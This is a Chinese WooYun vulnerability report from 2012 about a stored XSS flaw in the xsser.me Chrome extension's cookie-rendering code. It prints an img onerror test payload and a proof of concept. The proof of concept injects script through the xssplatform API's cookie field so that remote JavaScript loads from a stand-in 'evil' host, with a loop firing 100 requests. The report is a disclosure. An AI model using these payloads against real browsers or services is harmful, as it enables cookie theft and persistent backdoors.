WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-013414

漏洞标题：xsser.me的跨站漏洞

相关厂商：乌云官方

漏洞作者： p.z

提交时间：2012-10-16 17:31

修复时间：2012-11-04 16:50

公开时间：2012-11-04 16:50

漏洞类型：xss跨站脚本攻击

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2012-10-16： 细节已通知厂商并且等待厂商处理中
2012-10-19： 厂商已经确认，细节仅向厂商公开
2012-10-29： 细节向核心白帽子及相关领域专家公开
2012-11-04： 厂商提前公开漏洞，细节向公众公开

简要描述：

xsser.me官方提供的chrome插件存在一漏洞，成功利用后，可以在造成在该插件的chrome区的一个xss，通过继承插件的权限，攻击者可以进行进一步攻击，通过进一步的攻击，可以再chrome下留下一个持久的后门，攻击者可以在用户运行浏览器的时候，在任意标签页执行JS代码，获取任意域下的cookie（包括httponly）等等。

详细说明：

function render(cookies){
	var list = document.getElementById('list');
	for(var i=0,x,html='';x=cookies[i];i++){
		x.desc_url=x.url.length>75?x.url.substr(0,75):x.url;
		html+="<li><a title=':{url}' href='javascript:void(0)' onclick=\"replay(':{url}',':{cookie}')\">:{desc_url}</a></li>"
			.replace(/:{\w+}/ig,function(k){return x[k.substring(2,k.length-1)]});
	}
	list.innerHTML=html;
}

<img src=2 onerror="alert(&#039;2')">

漏洞证明：

(new Image()).src="http://xssplatform.sinaapp.com/index.php?do=api&id=92&location=http%3A//www.iana.org/domains/example/&toplocation=http%3A//www.iana.org/domains/example/l&cookie=');(function(){d=document;e=d.createElement('script');e.src='http://evil/xss.js?'%2bMath.random();d.body.appendChild(e);})()//&opener=";

for(var i=0; i<100; i++){
	(new Image()).src="http://xssplatform.sinaapp.com/index.php?do=api&id="+i+"&location=http%3A//www.iana.org/domains/example/&toplocation=http%3A//www.iana.org/domains/example/l&cookie=');(function(){d=document;e=d.createElement('script');e.src='http://evil/xss.js?'%2bMath.random();d.body.appendChild(e);})()//&opener=";
}

修复方案：

版权声明：转载请注明来源 p.z@乌云

漏洞回应

漏洞评价：

评论